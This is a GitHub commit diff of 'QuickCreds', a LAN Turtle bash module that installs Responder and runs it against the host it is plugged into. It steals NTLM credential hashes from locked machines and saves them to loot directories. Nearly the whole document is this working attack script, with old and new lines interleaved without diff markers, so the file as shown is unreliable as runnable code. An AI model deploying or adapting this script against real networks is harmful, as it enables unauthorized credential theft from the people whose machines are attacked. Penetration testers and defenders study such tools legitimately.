Fixed quickcreds with new responder size. (#43)
* Fixed quickcreds with new responder size. Forces use of SD card amongst some other small fixes. * corrected fixes * remove comments * fixed indexing * Fixed indexing * QuickCreds: Remove all trailing whitespace, fix indentation, drop unwanted comments * Removed odd comment Co-authored-by: Marc Egerton <foxtrot@malloc.me>pull/45/head
Theo
GitHub
parent
e3ce49c4f3
commit
1452617da4
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#!/bin/bash /usr/lib/turtle/turtle_module
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VERSION="1.3"
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DESCRIPTION="Snagging creds from locked machines --Mubix, Room362.com. Implements responder attack and saves creds to numbered directories in /root/loot. LED will blink while QuickCreds is running. Upon capture of NTLM hash the amber LED will light solid. Author: Hak5Darren. Credit: Mubix."
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VERSION="1.4"
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DESCRIPTION="Snagging creds from locked machines --Mubix, Room362.com. Implements responder attack and saves creds to numbered directories in /root/loot. LED will blink while QuickCreds is running. Upon capture of NTLM hash the LED will light solid. Author: Hak5Darren. Credit: Mubix."
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CONF=/tmp/QuickCreds.form
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# All "dialog" functionality is related to the Turtle shell
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: ${DIALOG_OK=0}
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: ${DIALOG_CANCEL=1}
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: ${DIALOG_HELP=2}
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@ -10,139 +11,160 @@ CONF=/tmp/QuickCreds.form
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: ${DIALOG_ITEM_HELP=4}
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: ${DIALOG_ESC=255}
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LOOTDIR="/root/loot/quickcreds/"
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RESPLOG=$LOOTDIR"responder.log"
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RESPROOT="/sd"
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RESPTEMPDL="/tmp/ResponderDownload/"
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RESPURL="https://github.com/lgandx/Responder/archive/master.zip"
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RESPLOGDIR=$RESPROOT/"Responder/logs"
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SLEEPTIMER="1"
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function configure {
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# dialog --title "QuickCreds" --msgbox "\n\
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# Dependencies will be installed. An Internet connection is required.\n\
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# Upon configuration creds will be saved to /root/loot/ on boot." 9 72
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dialog --title "QuickCreds" \
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--yesno "\nInstall dependencies and configure QuickCreds?\n\
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An Internet connection is required for installation.\n" 8 60
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response=$?
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case $response in
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0) ;;
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1) exit ;;
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255) exit ;;
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esac
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# Check to see if QuickCreds has already been configured
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if [[ -d /root/loot || -s /root/loot/responder.log ]];
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then
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dialog --title "QuickCreds" --msgbox "\nThe QuickCreds module is already configured.\n\
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Creds are saved to /root/loot.\nEnable this module to attack on boot." 9 72
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exit 1
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fi
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# Check for Internet connection
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ping -q -w 5 -c 1 lanturtle.com &> /dev/null && {
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:
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} || {
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dialog --title "QuickCreds" --msgbox "\n\
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The LAN Turtle is currently offline.\nPlease connect the LAN Turtle to the Internet and try again. " 9 72
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exit 1
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}
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# Install dependencies
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opkg update | dialog --progressbox "Updating opkg" 14 72
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if [[ ! $(opkg list-installed | grep python-sqlite3) ]];
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then
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opkg install python-sqlite3 | dialog --progressbox "Installing dependency python-sqlite3" 14 72
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fi
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if [[ ! $(opkg list-installed | grep screen) ]];
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then
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opkg install screen | dialog --progressbox "Installing dependency screen" 14 72
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fi
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if [[ ! $(opkg list-installed | grep python-openssl) ]];
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then
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opkg install python-openssl | dialog --progressbox "Installing dependency python-openssl" 14 72
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fi
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if [[ ! $(opkg list-installed | grep coreutils-sleep) ]];
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then
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opkg install coreutils-sleep | dialog --progressbox "Installing dependency coreutils-sleep" 14 72
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fi
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if [[ ! -d /etc/turtle/Responder || ! -s /etc/turtle/Responder/Responder.py ]];
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then
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rm -rf /etc/turtle/Responder
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rm -rf /tmp/v2.3.3.5.tar.gz*
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wget --progress=dot https://github.com/lgandx/Responder/archive/v2.3.3.5.tar.gz -P /tmp 2>&1 | dialog --progressbox "Download dependency responder" 14 72
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mkdir /etc/turtle/Responder
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tar xzf /tmp/v2.3.3.5.tar.gz -C /etc/turtle/Responder 2>&1 | dialog --progressbox "Install dependency responder" 14 72
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rm -rf /tmp/v2.3.3.5.tar.gz*
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fi
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# Setup loot directory and complete setup
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mkdir /root/loot
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touch /root/loot/responder.log
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dialog --title "QuickCreds" --msgbox "\n\
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Configuration complete. Creds will be saved to /root/loot\n\
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Enable this module to have it start the attack on boot.\n" 9 72
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}
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function start {
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# Stop on-off-on DHCP blink pattern script
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echo "Stopping DHCP Detect Blink Script"
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/etc/init.d/dhcp_detect stop
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echo ""
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echo "QuickCreds started."
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echo "LED will blink rapidly while QuickCreds is running."
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echo "LED will light solid upon NTLM hash capture."
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echo ""
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echo "If starting this module from the Turtle Shell menu,"
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echo "press CTRL+C to return."
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echo "Starting attack..." >> /root/loot/responder.log
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# Create new numbered loot directory and symlink it from Responder logs
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cd /root/loot
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dircount=$(ls -lad /root/loot/* | wc -l)
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mkdir /root/loot/$((dircount))
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# Delete all current Responder logs
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rm -rf /etc/turtle/Responder/logs
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ln -s /root/loot/$((dircount)) /etc/turtle/Responder/logs
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# Stop dnsmasq
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/etc/init.d/dnsmasq stop 1&> /dev/null
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# Execute attack
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screen -dmS responder bash -c 'cd /etc/turtle/Responder; python Responder.py -I br-lan -w -r -d -P'
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# Blink upon hash capture
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while true; do
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# Grep for user creds and do not match on machine creds, machine usernames end in $
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if [ $(grep -v '\$:' /etc/turtle/Responder/logs/*NTLM* 2>/dev/null) ];
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then
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if [[ ! $(cat /root/loot/responder.log | tail -n1) == *"Creds"* ]]
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then
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echo "Creds saved!" >> /root/loot/responder.log
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#copy all responder logs to loot directory
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cp /etc/turtle/Responder/logs/* /root/loot/$((dircount))
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finished
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# If SD card is mounted continue if not fail due to not enough space.
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if grep -qs $RESPROOT /proc/mounts; then
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/bin/echo "SD card is mounted."
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else
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/usr/bin/dialog --title "QuickCreds" --msgbox "An SD card is required to install this module." 9 72
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exit 1
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fi
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fi
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echo 255 > /sys/class/leds/turtle\:yellow\:system/brightness 2>&1
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sleep 1
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echo 0 > /sys/class/leds/turtle\:yellow\:system/brightness 2>&1
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sleep 1
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done
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# Ask if the user really wants to install the module and its dependencies
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/usr/bin/dialog --title "QuickCreds" --yesno "\nInstall dependencies and configure QuickCreds?\nAn Internet connection is required for installation.\n" 8 60
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response=$?
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case $response in
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0) ;;
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1) exit ;;
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255) exit ;;
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esac
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# Check to see if QuickCreds has already been configured
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if [[ -d "$LOOTDIR" || -s "$RESPLOG" ]]; then
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/usr/bin/dialog --title "QuickCreds" --msgbox "\nThe QuickCreds module is already configured.\nCreds are saved to $LOOTDIR.\nEnable this module to attack on boot." 9 72
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exit 1
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fi
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# Check for Internet connection
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/bin/ping -q -w 5 -c 1 www.google.com &> /dev/null && {
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:
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} || {
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/usr/bin/dialog --title "QuickCreds" --msgbox "\nThe LAN Turtle is currently offline.\nPlease connect the LAN Turtle to the Internet and try again." 9 72
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exit 1
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}
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# Install dependencies
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/bin/opkg update | /usr/bin/dialog --progressbox "Updating opkg" 14 72
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if [[ ! $(/bin/opkg list-installed | /bin/grep python-sqlite3) ]]; then
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/bin/opkg install python-sqlite3 | /usr/bin/dialog --progressbox "Installing dependency python-sqlite3" 14 72
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fi
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if [[ ! $(/bin/opkg list-installed | /bin/grep screen) ]]; then
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/bin/opkg install screen | /usr/bin/dialog --progressbox "Installing dependency screen" 14 72
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fi
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if [[ ! $(/bin/opkg list-installed | /bin/grep python-openssl) ]]; then
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/bin/opkg install python-openssl | /usr/bin/dialog --progressbox "Installing dependency python-openssl" 14 72
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fi
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if [[ ! $(/bin/opkg list-installed | /bin/grep coreutils-sleep) ]]; then
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/bin/opkg install coreutils-sleep | /usr/bin/dialog --progressbox "Installing dependency coreutils-sleep" 14 72
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fi
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if [[ ! $(/bin/opkg list-installed | /bin/grep unzip) ]]; then
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/bin/opkg install unzip | /usr/bin/dialog --progressbox "Installing dependency unzip" 14 72
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fi
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# Check if Responder is installed (not the module available in the Turtle "GUI", but the tool taken straight from GitHub)
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if [[ ! -d "$RESPROOT" || ! -s "$RESPROOT"Responder.py ]]; then
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# Clean up
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/bin/rm -rf "$RESPROOT"Responder/
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/bin/rm -rf "$RESPTEMPDL"master.zip*
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# Create new
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/bin/mkdir -p "$RESPTEMPDL"
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# Download and extract
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/usr/bin/wget --progress=dot "$RESPURL" -P "$RESPTEMPDL" 2>&1 | /usr/bin/dialog --progressbox "Download dependency responder" 14 72
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# Unpack the GitHub download
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/usr/bin/unzip "$RESPTEMPDL"master.zip -d "$RESPTEMPDL" 2>&1 | /usr/bin/dialog --progressbox "Unpacking dependency responder" 14 72
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/bin/rm "$RESPTEMPDL"Responder-master/tools/MultiRelay/bin/*.exe
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/bin/mv "$RESPTEMPDL"Responder-master "$RESPTEMPDL"Responder
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/bin/mv "$RESPTEMPDL"Responder "$RESPROOT"
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/bin/rm -rf "$RESPTEMPDL"master.zip*
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fi
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# Setup loot directory and complete setup
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/bin/mkdir -p "$LOOTDIR"
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/usr/bin/dialog --title "QuickCreds" --msgbox "\nConfiguration complete. Creds will be saved to $LOOTDIR\nEnable this module to have it start the attack on boot.\n" 9 72
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}
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function finished {
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echo 255 > /sys/class/leds/turtle\:yellow\:system/brightness 2>&1
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exit
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/bin/echo 255 > /sys/class/leds/lan-turtle\:orange\:system/brightness 2>&1
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/bin/sync
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exit
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}
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function start {
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# Stop on-off-on DHCP blink pattern script, this is what causes the "Terminated" text to appear if running QuickCreds from within the Turtle module system in the Turtle "GUI"
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/bin/echo "Stopping DHCP Detect Blink Script"
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/etc/init.d/dhcp_detect stop
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/bin/echo ""
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/bin/echo "QuickCreds started."
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/bin/echo "The orange LED will blink while QuickCreds is running."
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/bin/echo "The orange LED will turn solid upon NTLM hash capture."
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/bin/echo ""
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/bin/echo "If starting this module from the Turtle Shell menu,"
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/bin/echo "press CTRL+C to return."
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# Create new numbered loot directory and symlink it from Responder logs
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/bin/mkdir -p $LOOTDIR
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cd $LOOTDIR
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dircount=$(/bin/ls -lad $LOOTDIR/* | /usr/bin/wc -l)
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# Adjust the number when creating the numbered lootdir for this session, if no existing dirs (i.e. wc -l = 0) then start with 1 instead of 0 otherwise there will be a gap between 0 and 2
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if [[ $((dircount)) == 0 ]]; then dircount=1 ; fi
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/bin/mkdir $LOOTDIR"Creds"$((dircount))
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# Delete all current Responder logs
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/bin/rm -rf $RESPLOGDIR
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/bin/ln -s $LOOTDIR"Creds"$((dircount)) $RESPLOGDIR
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# Saving interface info, surplus information and can be deleted
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/sbin/ifconfig > $LOOTDIR"Creds"$((dircount))/ifconfig_dump.log
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/bin/echo "Creds$((dircount)) - Initiating Responder attack..." >> $RESPLOG
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# Stop dnsmasq
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/bin/echo "Creds$((dircount)) - Stopping dnsmasq" >> $RESPLOG
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/etc/init.d/dnsmasq stop 1&> /dev/null
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# Execute attack
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/bin/echo "Creds$((dircount)) - Starting screen and Responder" >> $RESPLOG
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/usr/sbin/screen -dmS responder /bin/bash -c 'cd /sd/Responder; /usr/bin/python /sd/Responder/Responder.py -I eth0 -w -r -d -P'
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/bin/echo "Creds$((dircount)) - LED blink pattern during attack enabled" >> $RESPLOG
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# Blink upon hash capture
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while true; do
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# Grep for user creds and do not match on machine creds, machine usernames end in $
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if [[ $(/bin/grep -v '\$:' $RESPLOGDIR/*NTLM* 2>/dev/null) ]]; then
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/bin/echo "Creds$((dircount)) - Found user creds NTLM file in the logs directory!" >> $RESPLOG
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/bin/echo "Creds$((dircount)) - Creds obtained and saved" >> $RESPLOG
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#Copy all responder logs to loot directory
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/bin/echo "Creds$((dircount)) - Copying the Responder native logs to loot directory" >> $RESPLOG
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/bin/cp $RESPLOGDIR/* $LOOTDIR"Creds"$((dircount))
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/bin/echo "Creds$((dircount)) - Calling the finished function" >> $RESPLOG
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finished
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fi
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/bin/echo 255 > /sys/class/leds/lan-turtle\:orange\:system/brightness 2>&1
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/bin/sleep $SLEEPTIMER
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/bin/echo 0 > /sys/class/leds/lan-turtle\:orange\:system/brightness 2>&1
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/bin/sleep $SLEEPTIMER
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done
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}
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function stop {
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kill $(ps | grep [R]esponder | awk {'print $1'})
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/etc/init.d/dnsmasq start 1&> /dev/null
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echo "QuickCreds Stopped"
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/bin/kill $(/bin/ps | /bin/grep [R]esponder | /usr/bin/awk {'print $1'})
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/etc/init.d/dnsmasq start 1&> /dev/null
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/bin/echo "QuickCreds Stopped"
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}
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function status {
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if ps | grep -w -q [R]esponder.py; then echo "1"; else echo "0"; fi
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if [[ $(/bin/ps | /bin/grep -w [R]esponder.py) ]]; then /bin/echo "1"; else /bin/echo "0"; fi
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}
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